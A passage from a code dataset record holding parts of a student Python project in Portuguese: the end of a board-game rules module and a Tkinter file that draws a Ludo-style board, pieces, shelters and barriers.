chegou_peca_na_casa_final\r\n return chegou_peca_na_casa_final\r\n\r\n\r\ndef busca(lista, elemento):\r\n \"\"\"retorna índice de um elemento específico em um lista \"\"\"\r\n for index, el in enumerate(lista):\r\n if el == elemento:\r\n return index\r\n return 0 # None\r\n\r\n\r\ndef vez_do_proximo():\r\n \"\"\"passa a vez para a próxima cor\"\"\"\r\n global seis_count, vez\r\n cores_peca = [\"blue\", \"yellow\", \"green\", \"red\"]\r\n seis_count = 0\r\n if vez == -4:\r\n vez = -1\r\n else:\r\n vez -= 1\r\n return vez\r\n\r\n\r\ndef verifica_vitoria():\r\n \"\"\" se alguem ganhou, retorna lista com os jogadores na ordem crescente de vitória , se não retorna None\"\"\"\r\n global caminho_azul, caminho_verde, caminho_vermelho, caminho_amarelo, casas_iniciais\r\n lista_com_todos_os_caminhos = [caminho_azul, caminho_vermelho, caminho_verde, caminho_amarelo]\r\n vencedores_em_ordem_decrescente = [] # => [-2, -4, -1, -3]\r\n casas_de_saida = [0, 9, 22, 35]\r\n for caminho in lista_com_todos_os_caminhos:\r\n if len(caminho[-1]) == 4:\r\n vez_do_vencedor = caminho[-1][0]\r\n # adiciono em uma lista sublistas contendo [soma das posiscoes de cada peca de uma cor ajustadas, vez da cor],\r\n # depois faco sort e pego os segundos elementos desse lista e retorno esses valores em outra lista contedo\r\n # a vez dos vencedores do 1o lugar ate 4o.\r\n placares = []\r\n for index, caminho in enumerate(casas_iniciais):\r\n somatorio_placar = 0\r\n for pos_peca in caminho:\r\n if pos_peca > 0:\r\n somatorio_placar += abs(pos_peca - casas_de_saida[index])\r\n vez_da_peca = (index + 1) * (-1)\r\n placares.append([somatorio_placar, vez_da_peca])\r\n sorted(placares, reverse=True)\r\n\r\n for index, placar in enumerate(sorted(placares, reverse=True)):\r\n if index <= 4:\r\n vencedores_em_ordem_decrescente.append(placar[-1])\r\n\r\n return vencedores_em_ordem_decrescente\r\n\r\n return None\r\n\r\n\r\ndef jogo_acabou():\r\n if verifica_vitoria():\r\n return True\r\n return False\r\n" }, { "alpha_fraction": 0.41381892561912537, "alphanum_fraction": 0.4987570643424988, "avg_line_length": 52.115074157714844, "blob_id": "7864768e82944241e31f6305ff713518341068af", "content_id": "4af4756ef795e14bf57119e17f715ed73f37f6f2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 33411, "license_type": "no_license", "max_line_length": 188, "num_lines": 617, "path": "/INF1301-Programacao-Modular/view/draw_canvas.py", "repo_name": "velozo27/INF1301-Programacao-Modular", "src_encoding": "UTF-8", "text": "from model import game_rules\r\nfrom tkinter import *\r\nfrom tkinter import messagebox\r\nfrom functools import partial\r\nfrom tkinter import filedialog\r\nfrom controller import event_handler\r\n\r\n\r\ndef create_circle(x, y, r, canvasName, cor):\r\n x0 = x - r\r\n y0 = y - r\r\n x1 = x + r\r\n y1 = y + r\r\n return canvasName.create_oval(x0, y0, x1, y1, fill=cor)\r\n\r\n\r\ndef desenha(my_canvas, root):\r\n global dado, img, vez, W, H, canvas_move_peca, root_move_peca, coordenadas_caminho_principal, coordenadas_caminhos_coloridos, cores_peca, canvas_opcoes\r\n\r\n caminho_principal = game_rules.get_caminho_principal()\r\n\r\n canvas_move_peca = my_canvas\r\n root_move_peca = root\r\n\r\n casas_iniciais = game_rules.get_casas_inicais()\r\n caminhos_coloridos = game_rules.get_caminhos_coloridos()\r\n caminho_principal_abrigos = game_rules.get_caminho_principal_abrigo()\r\n caminho_principal_bar = game_rules.get_caminho_principal_bar()\r\n vez = game_rules.get_vez()\r\n\r\n # Variáveis\r\n W = 600 # x\r\n H = 600 # y\r\n\r\n coordenadas_caminho_principal = [\r\n [13.5 * W // 15, 8.5 * H // 15], [12.5 * W // 15, 8.5 * H // 15], [11.5 * W // 15, 8.5 * H // 15],\r\n [10.5 * W // 15, 8.5 * H // 15], [9.5 * W // 15, 8.5 * H // 15], # 0 - 5\r\n\r\n [8.5 * W // 15, 9.5 * H // 15], [8.5 * W // 15, 10.5 * H // 15], [8.5 * W // 15, 11.5 * H // 15],\r\n [8.5 * W // 15, 12.5 * H // 15], [8.5 * W // 15, 13.5 * H // 15], [8.5 * W // 15, 14.5 * H // 15], # 5 - 10\r\n\r\n [7.5 * W // 15, 14.5 * H // 15], # 11\r\n\r\n [6.5 * W // 15, 14.5 * H // 15], [6.5 * W // 15, 13.5 * H // 15], [6.5 * W // 15, 12.5 * H // 15],\r\n [6.5 * W // 15, 11.5 * H // 15], [6.5 * W // 15, 10.5 * H // 15], [6.5 * W // 15, 9.5 * H // 15], # 12 - 17\r\n\r\n [5.5 * W // 15, 8.5 * H // 15], [4.5 * W // 15, 8.5 * H // 15], [3.5 * W // 15, 8.5 * H // 15],\r\n [2.5 * W // 15, 8.5 * H // 15], [1.5 * W // 15, 8.5 * H // 15], [0.5 * W // 15, 8.5 * H // 15], # 18 - 22\r\n\r\n [0.5 * W // 15, 7.5 * H // 15], # 24\r\n\r\n [0.5 * W // 15, 6.5 * H // 15], [1.5 * W // 15, 6.5 * H // 15], [2.5 * W // 15, 6.5 * H // 15],\r\n [3.5 * W // 15, 6.5 * H // 15], [4.5 * W // 15, 6.5 * H // 15], [5.5 * W // 15, 6.5 * H // 15],\r\n [6.5 * W // 15, 5.5 * H // 15], [6.5 * W // 15, 4.5 * H // 15], [6.5 * W // 15, 3.5 * H // 15],\r\n [6.5 * W // 15, 2.5 * H // 15], [6.5 * W // 15, 1.5 * H // 15], [6.5 * W // 15, 0.5 * H // 15],\r\n [7.5 * W // 15, 0.5 * H // 15],\r\n [8.5 * W // 15, 0.5 * H // 15], [8.5 * W // 15, 1.5 * H // 15], [8.5 * W // 15, 2.5 * H // 15],\r\n [8.5 * W // 15, 3.5 * H // 15], [8.5 * W // 15, 4.5 * H // 15], [8.5 * W // 15, 5.5 * H // 15],\r\n [9.5 * W // 15, 6.5 * H // 15], [10.5 * W // 15, 6.5 * H // 15], [11.5 * W // 15, 6.5 * H // 15],\r\n [12.5 * W // 15, 6.5 * H // 15], [13.5 * W // 15, 6.5 * H // 15], [14.5 * W // 15, 6.5 * H // 15],\r\n [14.5 * W // 15, 7.5 * H // 15],\r\n [14.5 * W // 15, 8.5 * H // 15]\r\n ]\r\n\r\n coordenadas_casas_iniciais = [\r\n [ # AMARELO\r\n [10.5 * W // 15, 1.5 * H // 15], [13.5 * W // 15, 1.5 * H // 15], [10.5 * W // 15, 4.5 * H // 15],\r\n [13.5 * W // 15, 4.5 * H // 15]\r\n ],\r\n [ # VERDE\r\n [1.5 * W // 15, 1.5 * H // 15], [4.5 * W // 15, 1.5 * H // 15], [1.5 * W // 15, 4.5 * H // 15],\r\n [4.5 * W // 15, 4.5 * H // 15]\r\n ],\r\n [ # VERMELHO\r\n [1.5 * W // 15, 10.5 * H // 15], [4.5 * W // 15, 10.5 * H // 15], [1.5 * W // 15, 13.5 * H // 15],\r\n [4.5 * W // 15, 13.5 * H // 15]\r\n ],\r\n [ # AZUL\r\n [10.5 * W // 15, 10.5 * H // 15], [13.5 * W // 15, 10.5 * H // 15], [10.5 * W // 15, 13.5 * H // 15],\r\n [13.5 * W // 15, 13.5 * H // 15]\r\n ]\r\n ]\r\n\r\n coordenadas_caminhos_coloridos = [\r\n [ # VERMELHO\r\n [13.5 * W // 15, 7.5 * H // 15], [12.5 * W // 15, 7.5 * H // 15], [11.5 * W // 15, 7.5 * H // 15],\r\n [10.5 * W // 15, 7.5 * H // 15], [9.5 * W // 15, 7.5 * H // 15], [8.5 * W // 15, 7.5 * H // 15]\r\n ],\r\n [ # VERDE\r\n [7.5 * W // 15, 1.5 * H // 15], [7.5 * W // 15, 2.5 * H // 15], [7.5 * W // 15, 3.5 * H // 15],\r\n [7.5 * W // 15, 4.5 * H // 15], [7.5 * W // 15, 5.5 * H // 15], [7.5 * W // 15, 6.5 * H // 15]\r\n ],\r\n [ # AMARELO\r\n [1.5 * W // 15, 7.5 * H // 15], [2.5 * W // 15, 7.5 * H // 15], [3.5 * W // 15, 7.5 * H // 15],\r\n [4.5 * W // 15, 7.5 * H // 15], [5.5 * W // 15, 7.5 * H // 15], [6.5 * W // 15, 7.5 * H // 15]\r\n ],\r\n [ # AZUL\r\n [7.5 * W // 15, 13.5 * H // 15], [7.5 * W // 15, 12.5 * H // 15], [7.5 * W // 15, 11.5 * H // 15],\r\n [7.5 * W // 15, 10.5 * H // 15], [7.5 * W // 15, 9.5 * H // 15], [7.5 * W // 15, 8.5 * H // 15]\r\n ]\r\n ]\r\n\r\n coordenadas_casa_final = [\r\n [7.5 * W // 15, 8.5 * H // 15], # VERDE\r\n [6.5 * W // 15, 7.5 * H // 15], # AMARELO\r\n [7.5 * W // 15, 6.5 * H // 15], # AZUL\r\n [8.5 * W // 15, 7.5 * H // 15], # VERMELHO\r\n ]\r\n\r\n coordenadas_abrigos = [\r\n [8.5 * W // 15, 13.5 * H // 15], # LADO DO VERMELHO\r\n [1.5 * W // 15, 8.5 * H // 15], # LADO DO VERDE\r\n [6.5 * W // 15, 1.5 * H // 15], # LADO DO AMARELO\r\n [13.5 * W // 15, 6.5 * H // 15], # LADO DO VERDE\r\n ]\r\n\r\n colors = [\"red\", \"yellow\", \"green\", \"blue\"] # lista de cores em ordem alfabetica ingles\r\n\r\n cores_peca = [\"blue\", \"yellow\", \"green\", \"red\"]\r\n white_distance = W // 16 # para os quadrados brancos dentro dos cantos coloridos\r\n\r\n # Corredores com cor (1o quadrado isolado colorido, depois retangulo colorido)\r\n my_canvas.create_rectangle(13 * W // 15, 8 * H // 15, 14 * W // 15, 9 * H // 15, fill=colors[0])\r\n my_canvas.create_rectangle(9 * W // 15, 7 * H // 15, 14 * W // 15, 8 * H // 15, fill=colors[0])\r\n my_canvas.create_rectangle(W // 15, 6 * H // 15, 2 * W // 15, 7 * H // 15, fill=colors[1])\r\n my_canvas.create_rectangle(W // 15, 7 * H // 15, 6 * W // 15, 8 * H // 15, fill=colors[1])\r\n my_canvas.create_rectangle(6 * W // 15, 13 * H // 15, 7 * W // 15, 14 * H // 15, fill=colors[2])\r\n my_canvas.create_rectangle(7 * W // 15, 14 * H // 15, 8 * W // 15, 9 * H // 15, fill=colors[2])\r\n my_canvas.create_rectangle(8 * W // 15, 1 * H // 15, 9 * W // 15, 2 * H // 15, fill=colors[3])\r\n my_canvas.create_rectangle(7 * W // 15, 1 * H // 15, 8 * W // 15, 6 * H // 15, fill=colors[3])\r\n\r\n # Triangulos brancos nas casas de saida\r\n my_canvas.create_polygon(8.2 * W // 15, 1.2 * H // 15, 8.5 * W // 15, 1.8 * H // 15, 8.8 * W // 15, 1.2 * H // 15,\r\n fill=\"white\")\r\n my_canvas.create_polygon(1.2 * W // 15, 6.2 * H // 15, 1.8 * W // 15, 6.5 * H // 15, 1.2 * W // 15, 6.8 * H // 15,\r\n fill=\"white\")\r\n my_canvas.create_polygon(13.8 * W // 15, 8.2 * H // 15, 13.2 * W // 15, 8.5 * H // 15, 13.8 * W // 15,\r\n 8.8 * H // 15,\r\n fill=\"white\")\r\n my_canvas.create_polygon(6.2 * W // 15, 13.8 * H // 15, 6.5 * W // 15, 13.2 * H // 15, 6.8 * W // 15,\r\n 13.8 * H // 15,\r\n fill=\"white\")\r\n\r\n # Corredores sem cor\r\n for i in range(1, 15):\r\n my_canvas.create_line(i * (W // 15), 0, i * (W // 15), H, fill=\"black\") # retas verticais\r\n my_canvas.create_line(0, i * (H // 15), W, i * (H // 15), fill=\"black\") # retas horizontais\r\n\r\n # Azul Corner (canto superior direito)\r\n my_canvas.create_rectangle(9 * W // 15, 9 * H // 15, W, H, fill=colors[0])\r\n my_canvas.create_rectangle(9 * W // 15 + white_distance, 9 * H // 15 + white_distance, W - white_distance,\r\n H - white_distance, fill=\"white\")\r\n\r\n # Verde Corner (canto inferior esquerdo)\r\n my_canvas.create_rectangle(0, 0, 6 * W // 15, 6 * H // 15, fill=colors[1])\r\n my_canvas.create_rectangle(0 + white_distance, 0 + white_distance, 6 * W // 15 - white_distance,\r\n 6 * H // 15 - white_distance,\r\n fill=\"white\")\r\n\r\n # Vermelho Corner (canto inferior direito)\r\n my_canvas.create_rectangle(0, 9 * W // 15, 6 * W // 15, H, fill=colors[2])\r\n my_canvas.create_rectangle(0 + white_distance, 9 * W // 15 + white_distance, 6 * W // 15 - white_distance,\r\n H - white_distance,\r\n fill=\"white\")\r\n\r\n # Amarelo Corner (canto superior esquerdo)\r\n my_canvas.create_rectangle(9 * W // 15, 0, W, 6 * H // 15, fill=colors[3])\r\n my_canvas.create_rectangle(9 * W // 15 + white_distance, 0 + white_distance, W - white_distance,\r\n 6 * H // 15 - white_distance,\r\n fill=\"white\")\r\n\r\n # Abrigos\r\n # Quadrados especias (cinzas)\r\n my_canvas.create_rectangle(1 * W // 15, 8 * H // 15, 2 * W // 15, 9 * H // 15, fill=\"gray\")\r\n my_canvas.create_rectangle(8 * W // 15, 13 * H // 15, 9 * W // 15, 14 * H // 15, fill=\"gray\")\r\n my_canvas.create_rectangle(13 * W // 15, 6 * H // 15, 14 * W // 15, 7 * H // 15, fill=\"gray\")\r\n my_canvas.create_rectangle(6 * W // 15, 1 * H // 15, 7 * W // 15, 2 * H // 15, fill=\"gray\")\r\n\r\n # Centro colorido (4 triangulos)\r\n my_canvas.create_polygon(9 * W // 15, 6 * H // 15, 9 * W // 15, 9 * H // 15, W // 2, H // 2, fill=colors[0])\r\n my_canvas.create_polygon(6 * W // 15, 6 * H // 15, 6 * W // 15, 9 * H // 15, W // 2, H // 2, fill=colors[1])\r\n my_canvas.create_polygon(6 * W // 15, 9 * H // 15, 9 * W // 15, 9 * H // 15, W // 2, H // 2, fill=colors[2])\r\n my_canvas.create_polygon(6 * W // 15, 6 * H // 15, 9 * W // 15, 6 * H // 15, W // 2, H // 2, fill=colors[3])\r\n\r\n # DESENHA PEÇAS NO CAMINHO PRINCIPAL\r\n # percorer caminho_principal e ver se tem peca\r\n for index, quadrado in enumerate(caminho_principal):\r\n if quadrado != 0 and quadrado != -100:\r\n x_centro_peca = coordenadas_caminho_principal[index][0]\r\n y_centro_peca = coordenadas_caminho_principal[index][1]\r\n create_circle(x_centro_peca, y_centro_peca, W // 30, my_canvas, cores_peca[quadrado])\r\n\r\n # DESENHA PEÇAS NAS CASAS INICIAIS\r\n for casa_inicial in casas_iniciais:\r\n for index_peca, quadrado in enumerate(casa_inicial):\r\n if quadrado < 0 and quadrado != -100:\r\n x_centro_peca = coordenadas_casas_iniciais[quadrado][index_peca][0]\r\n y_centro_peca = coordenadas_casas_iniciais[quadrado][index_peca][1]\r\n create_circle(x_centro_peca, y_centro_peca, W // 30, my_canvas, cores_peca[quadrado])\r\n\r\n # DESENHA PEÇAS NAS RETAS FINAIS\r\n for reta_final in caminhos_coloridos:\r\n for index_peca, quadrado in enumerate(reta_final[:5]):\r\n if quadrado < 0:\r\n x_centro_peca = coordenadas_caminhos_coloridos[quadrado + 1][index_peca][0]\r\n y_centro_peca = coordenadas_caminhos_coloridos[quadrado + 1][index_peca][1]\r\n create_circle(x_centro_peca, y_centro_peca, W // 30, my_canvas, cores_peca[quadrado])\r\n\r\n # DESENHA ABRIGOS\r\n for index, abrigo in enumerate(caminho_principal_abrigos):\r\n # caso a 1a posicao do abrigo esteja vazia e a 2a ocupada\r\n if abrigo[0][0] == 0 and abrigo[0][1] != 0:\r\n cor_da_peca = abrigo[0][1]\r\n x_centro_peca = coordenadas_abrigos[index][0]\r\n y_centro_peca = coordenadas_abrigos[index][1]\r\n create_circle(x_centro_peca, y_centro_peca, W // 30, my_canvas, cores_peca[cor_da_peca])\r\n\r\n # caso a 2a posicao do abrigo esteja vazia e a 1a ocupada\r\n elif abrigo[0][0] != 0 and abrigo[0][1] == 0:\r\n cor_da_peca = abrigo[0][0]\r\n x_centro_peca = coordenadas_abrigos[index][0]\r\n y_centro_peca = coordenadas_abrigos[index][1]\r\n create_circle(x_centro_peca, y_centro_peca, W // 30, my_canvas, cores_peca[cor_da_peca])\r\n\r\n # caso as 2 posicoes dos abrigos estejam ocupadas\r\n elif abrigo[0][0] != 0 and abrigo[0][1] != 0:\r\n # desenha peça 1\r\n cor_da_peca_1 = abrigo[0][0]\r\n x_centro_peca = coordenadas_abrigos[index][0]\r\n y_centro_peca = coordenadas_abrigos[index][1]\r\n create_circle(x_centro_peca, y_centro_peca, W // 30, my_canvas, cores_peca[cor_da_peca_1])\r\n\r\n # desenha peça 2\r\n cor_da_peca_2 = abrigo[0][1]\r\n x_centro_peca = coordenadas_abrigos[index][0]\r\n y_centro_peca = coordenadas_abrigos[index][1]\r\n create_circle(x_centro_peca, y_centro_peca, W // 30 - 5, my_canvas, cores_peca[cor_da_peca_2])\r\n\r\n # DESENHA BARREIRAS\r\n if caminho_principal_bar: # caso a lista não esteja vazia (ou seja, existem barreiras no tabuleiro)\r\n for barreira in caminho_principal_bar:\r\n posicao_barreira = barreira[1]\r\n cor_barreira = barreira[0]\r\n x_centro_peca = coordenadas_caminho_principal[posicao_barreira][0]\r\n y_centro_peca = coordenadas_caminho_principal[posicao_barreira][1]\r\n create_circle(x_centro_peca, y_centro_peca, W // 30, my_canvas, cores_peca[cor_barreira])\r\n create_circle(x_centro_peca, y_centro_peca, W // 30 - 2, my_canvas, \"white\")\r\n create_circle(x_centro_peca, y_centro_peca, W // 30 - 5, my_canvas, cores_peca[cor_barreira])\r\n\r\n # DESENHA PEÇA CASA FINAL\r\n for index, reta_final in enumerate(caminhos_coloridos):\r\n if reta_final[-1]: # se tem peca na casa final\r\n x_texto_final = coordenadas_casa_final[index][0]\r\n y_texto_final = coordenadas_casa_final[index][1]\r\n numero_pecas_casa_final = len(reta_final[-1])\r\n my_canvas.create_text(x_texto_final, y_texto_final, text=numero_pecas_casa_final,\r\n font=\"Times 20 italic bold\")\r\n\r\n # desabilita o botao do dado qnd o jogo acaba\r\n if game_rules.jogo_acabou() == True:\r\n dado_button[\"state\"] = DISABLED\r\n\r\n # se houve captura a pessoa anda 6 com alguma peca\r\n if game_rules.get_houve_captura_na_jogada() == True:\r\n event_handler.click_joga_dado(canvas_opcoes, my_canvas, houve_captura=True)\r\n\r\n # se peca chegou na casa final\r\n if game_rules.get_chegou_peca_na_casa_final() == True:\r\n event_handler.click_joga_dado(canvas_opcoes, my_canvas, peca_chegou_na_casa_final=True)\r\n\r\n\r\ndef get_root():\r\n global root_move_peca\r\n return root_move_peca\r\n\r\n\r\ndef get_canvas():\r\n global canvas_move_peca\r\n return canvas_move_peca\r\n\r\n\r\ndef get_dado_button():\r\n global dado_button\r\n return dado_button\r\n\r\n\r\ndef get_salvar_jogo_button():\r\n global salvar_jogo_button\r\n return salvar_jogo_button\r\n\r\n\r\ndef desenha_1a_vez(my_canvas, root):\r\n global dado, img, vez, W, H, canvas_move_peca, root_move_peca, coordenadas_caminho_principal, coordenadas_caminhos_coloridos, cores_peca, canvas_opcoes, dado_button, salvar_jogo_button\r\n\r\n caminho_principal = game_rules.get_caminho_principal()\r\n\r\n canvas_move_peca = my_canvas\r\n root_move_peca = root\r\n\r\n casas_iniciais = game_rules.get_casas_inicais()\r\n caminhos_coloridos = game_rules.get_caminhos_coloridos()\r\n caminho_principal_abrigos = game_rules.get_caminho_principal_abrigo()\r\n caminho_principal_bar = game_rules.get_caminho_principal_bar()\r\n vez = game_rules.get_vez()\r\n\r\n # Variáveis\r\n W = 600 # x\r\n H = 600 # y\r\n\r\n coordenadas_caminho_principal = [\r\n [13.5 * W // 15, 8.5 * H // 15], [12.5 * W // 15, 8.5 * H // 15], [11.5 * W // 15, 8.5 * H // 15],\r\n [10.5 * W // 15, 8.5 * H // 15], [9.5 * W // 15, 8.5 * H // 15], # 0 - 5\r\n\r\n [8.5 * W // 15, 9.5 * H // 15], [8.5 * W // 15, 10.5 * H // 15], [8.5 * W // 15, 11.5 * H // 15],\r\n [8.5 * W // 15, 12.5 * H // 15], [8.5 * W // 15, 13.5 * H // 15], [8.5 * W // 15, 14.5 * H // 15], # 5 - 10\r\n\r\n [7.5 * W // 15, 14.5 * H // 15], # 11\r\n\r\n [6.5 * W // 15, 14.5 * H // 15], [6.5 * W // 15, 13.5 * H // 15], [6.5 * W // 15, 12.5 * H // 15],\r\n [6.5 * W // 15, 11.5 * H // 15], [6.5 * W // 15, 10.5 * H // 15], [6.5 * W // 15, 9.5 * H // 15], # 12 - 17\r\n\r\n [5.5 * W // 15, 8.5 * H // 15], [4.5 * W // 15, 8.5 * H // 15], [3.5 * W // 15, 8.5 * H // 15],\r\n [2.5 * W // 15, 8.5 * H // 15], [1.5 * W // 15, 8.5 * H // 15], [0.5 * W // 15, 8.5 * H // 15], # 18 - 22\r\n\r\n [0.5 * W // 15, 7.5 * H // 15], # 24\r\n\r\n [0.5 * W // 15, 6.5 * H // 15], [1.5 * W // 15, 6.5 * H // 15], [2.5 * W // 15, 6.5 * H // 15],\r\n [3.5 * W // 15, 6.5 * H // 15], [4.5 * W // 15, 6.5 * H // 15], [5.5 * W // 15, 6.5 * H // 15],\r\n [6.5 * W // 15, 5.5 * H // 15], [6.5 * W // 15, 4.5 * H // 15], [6.5 * W // 15, 3.5 * H // 15],\r\n [6.5 * W // 15, 2.5 * H // 15], [6.5 * W // 15, 1.5 * H // 15], [6.5 * W // 15, 0.5 * H // 15],\r\n [7.5 * W // 15, 0.5 * H // 15],\r\n [8.5 * W // 15, 0.5 * H // 15], [8.5 * W // 15, 1.5 * H // 15], [8.5 * W // 15, 2.5 * H // 15],\r\n [8.5 * W // 15, 3.5 * H // 15], [8.5 * W // 15, 4.5 * H // 15], [8.5 * W // 15, 5.5 * H // 15],\r\n [9.5 * W // 15, 6.5 * H // 15], [10.5 * W // 15, 6.5 * H // 15], [11.5 * W // 15, 6.5 * H // 15],\r\n [12.5 * W // 15, 6.5 * H // 15], [13.5 * W // 15, 6.5 * H // 15], [14.5 * W // 15, 6.5 * H // 15],\r\n [14.5 * W // 15, 7.5 * H // 15],\r\n [14.5 * W // 15, 8.5 * H // 15]\r\n ]\r\n\r\n coordenadas_casas_iniciais = [\r\n [ # AMARELO\r\n [10.5 * W // 15, 1.5 * H // 15], [13.5 * W // 15, 1.5 * H // 15], [10.5 * W // 15, 4.5 * H // 15],\r\n [13.5 * W // 15, 4.5 * H // 15]\r\n ],\r\n [ # VERDE\r\n [1.5 * W // 15, 1.5 * H // 15], [4.5 * W // 15, 1.5 * H // 15], [1.5 * W // 15, 4.5 * H // 15],\r\n [4.5 * W // 15, 4.5 * H // 15]\r\n ],\r\n [ # VERMELHO\r\n [1.5 * W // 15, 10.5 * H // 15], [4.5 * W // 15, 10.5 * H // 15], [1.5 * W // 15, 13.5 * H // 15],\r\n [4.5 * W // 15, 13.5 * H // 15]\r\n ],\r\n [ # AZUL\r\n [10.5 * W // 15, 10.5 * H // 15], [13.5 * W // 15, 10.5 * H // 15], [10.5 * W // 15, 13.5 * H // 15],\r\n [13.5 * W // 15, 13.5 * H // 15]\r\n ]\r\n ]\r\n\r\n coordenadas_caminhos_coloridos = [\r\n [ # VERMELHO\r\n [13.5 * W // 15, 7.5 * H // 15], [12.5 * W // 15, 7.5 * H // 15], [11.5 * W // 15, 7.5 * H // 15],\r\n [10.5 * W // 15, 7.5 * H // 15], [9.5 * W // 15, 7.5 * H // 15], [8.5 * W // 15, 7.5 * H // 15]\r\n ],\r\n [ # VERDE\r\n [7.5 * W // 15, 1.5 * H // 15], [7.5 * W // 15, 2.5 * H // 15], [7.5 * W // 15, 3.5 * H // 15],\r\n [7.5 * W // 15, 4.5 * H // 15], [7.5 * W // 15, 5.5 * H // 15], [7.5 * W // 15, 6.5 * H // 15]\r\n ],\r\n [ # AMARELO\r\n [1.5 * W // 15, 7.5 * H // 15], [2.5 * W // 15, 7.5 * H // 15], [3.5 * W // 15, 7.5 * H // 15],\r\n [4.5 * W // 15, 7.5 * H // 15], [5.5 * W // 15, 7.5 * H // 15], [6.5 * W // 15, 7.5 * H // 15]\r\n ],\r\n [ # AZUL\r\n [7.5 * W // 15, 13.5 * H // 15], [7.5 * W // 15, 12.5 * H // 15], [7.5 * W // 15, 11.5 * H // 15],\r\n [7.5 * W // 15, 10.5 * H // 15], [7.5 * W // 15, 9.5 * H // 15], [7.5 * W // 15, 8.5 * H // 15]\r\n ]\r\n ]\r\n\r\n coordenadas_casa_final = [\r\n [7.5 * W // 15, 8.5 * H // 15], # VERDE\r\n [6.5 * W // 15, 7.5 * H // 15], # AMARELO\r\n [7.5 * W // 15, 6.5 * H // 15], # AZUL\r\n [8.5 * W // 15, 7.5 * H // 15], # VERMELHO\r\n ]\r\n\r\n coordenadas_abrigos = [\r\n [8.5 * W // 15, 13.5 * H // 15], # LADO DO VERMELHO\r\n [1.5 * W // 15, 8.5 * H // 15], # LADO DO VERDE\r\n [6.5 * W // 15, 1.5 * H // 15], # LADO DO AMARELO\r\n [13.5 * W // 15, 6.5 * H // 15], # LADO DO VERDE\r\n ]\r\n\r\n # colors = [\"blue\", \"green\", \"red\", \"yellow\"] # lista de cores em ordem alfabetica ingles\r\n colors = [\"red\", \"yellow\", \"green\", \"blue\"] # lista de cores em ordem alfabetica ingles\r\n\r\n cores_peca = [\"blue\", \"yellow\", \"green\", \"red\"]\r\n white_distance = W // 16 # para os quadrados brancos dentro dos cantos coloridos\r\n\r\n # Corredores com cor (1o quadrado isolado colorido, depois retangulo colorido)\r\n my_canvas.create_rectangle(13 * W // 15, 8 * H // 15, 14 * W // 15, 9 * H // 15, fill=colors[0])\r\n my_canvas.create_rectangle(9 * W // 15, 7 * H // 15, 14 * W // 15, 8 * H // 15, fill=colors[0])\r\n my_canvas.create_rectangle(W // 15, 6 * H // 15, 2 * W // 15, 7 * H // 15, fill=colors[1])\r\n my_canvas.create_rectangle(W // 15, 7 * H // 15, 6 * W // 15, 8 * H // 15, fill=colors[1])\r\n my_canvas.create_rectangle(6 * W // 15, 13 * H // 15, 7 * W // 15, 14 * H // 15, fill=colors[2])\r\n my_canvas.create_rectangle(7 * W // 15, 14 * H // 15, 8 * W // 15, 9 * H // 15, fill=colors[2])\r\n my_canvas.create_rectangle(8 * W // 15, 1 * H // 15, 9 * W // 15, 2 * H // 15, fill=colors[3])\r\n my_canvas.create_rectangle(7 * W // 15, 1 * H // 15, 8 * W // 15, 6 * H // 15, fill=colors[3])\r\n\r\n # Triangulos brancos nas casas de saida\r\n my_canvas.create_polygon(8.2 * W // 15, 1.2 * H // 15, 8.5 * W // 15, 1.8 * H // 15, 8.8 * W // 15, 1.2 * H // 15,\r\n fill=\"white\")\r\n my_canvas.create_polygon(1.2 * W // 15, 6.2 * H // 15, 1.8 * W // 15, 6.5 * H // 15, 1.2 * W // 15, 6.8 * H // 15,\r\n fill=\"white\")\r\n my_canvas.create_polygon(13.8 * W // 15, 8.2 * H // 15, 13.2 * W // 15, 8.5 * H // 15, 13.8 * W // 15,\r\n 8.8 * H // 15,\r\n fill=\"white\")\r\n my_canvas.create_polygon(6.2 * W // 15, 13.8 * H // 15, 6.5 * W // 15, 13.2 * H // 15, 6.8 * W // 15,\r\n 13.8 * H // 15,\r\n fill=\"white\")\r\n\r\n # Corredores sem cor\r\n for i in range(1, 15):\r\n my_canvas.create_line(i * (W // 15), 0, i * (W // 15), H, fill=\"black\") # retas verticais\r\n my_canvas.create_line(0, i * (H // 15), W, i * (H // 15), fill=\"black\") # retas horizontais\r\n\r\n # Azul Corner (canto superior direito)\r\n my_canvas.create_rectangle(9 * W // 15, 9 * H // 15, W, H, fill=colors[0])\r\n my_canvas.create_rectangle(9 * W // 15 + white_distance, 9 * H // 15 + white_distance, W - white_distance,\r\n H - white_distance, fill=\"white\")\r\n\r\n # Verde Corner (canto inferior esquerdo)\r\n my_canvas.create_rectangle(0, 0, 6 * W // 15, 6 * H // 15, fill=colors[1])\r\n my_canvas.create_rectangle(0 + white_distance, 0 + white_distance, 6 * W // 15 - white_distance,\r\n 6 * H // 15 - white_distance,\r\n fill=\"white\")\r\n\r\n # Vermelho Corner (canto inferior direito)\r\n my_canvas.create_rectangle(0, 9 * W // 15, 6 * W // 15, H, fill=colors[2])\r\n my_canvas.create_rectangle(0 + white_distance, 9 * W // 15 + white_distance, 6 * W // 15 - white_distance,\r\n H - white_distance,\r\n fill=\"white\")\r\n\r\n # Amarelo Corner (canto superior esquerdo)\r\n my_canvas.create_rectangle(9 * W // 15, 0, W, 6 * H // 15, fill=colors[3])\r\n my_canvas.create_rectangle(9 * W // 15 + white_distance, 0 + white_distance, W - white_distance,\r\n 6 * H // 15 - white_distance,\r\n fill=\"white\")\r\n\r\n # Abrigos\r\n # Quadrados especias (cinzas)\r\n my_canvas.create_rectangle(1 * W // 15, 8 * H // 15, 2 * W // 15, 9 * H // 15, fill=\"gray\")\r\n my_canvas.create_rectangle(8 * W // 15, 13 * H // 15, 9 * W // 15, 14 * H // 15, fill=\"gray\")\r\n my_canvas.create_rectangle(13 * W // 15, 6 * H // 15, 14 * W // 15, 7 * H // 15, fill=\"gray\")\r\n my_canvas.create_rectangle(6 * W // 15, 1 * H // 15, 7 * W // 15, 2 * H // 15, fill=\"gray\")\r\n\r\n # Centro colorido (4 triangulos)\r\n my_canvas.create_polygon(9 * W // 15, 6 * H // 15, 9 * W // 15, 9 * H // 15, W // 2, H // 2, fill=colors[0])\r\n my_canvas.create_polygon(6 * W // 15, 6 * H // 15, 6 * W // 15, 9 * H // 15, W // 2, H // 2, fill=colors[1])\r\n my_canvas.create_polygon(6 * W // 15, 9 * H // 15, 9 * W // 15, 9 * H // 15, W // 2, H // 2, fill=colors[2])\r\n my_canvas.create_polygon(6 * W // 15, 6 * H // 15, 9 * W // 15, 6 * H // 15, W // 2, H // 2, fill=colors[3])\r\n\r\n # DESENHA PEÇAS 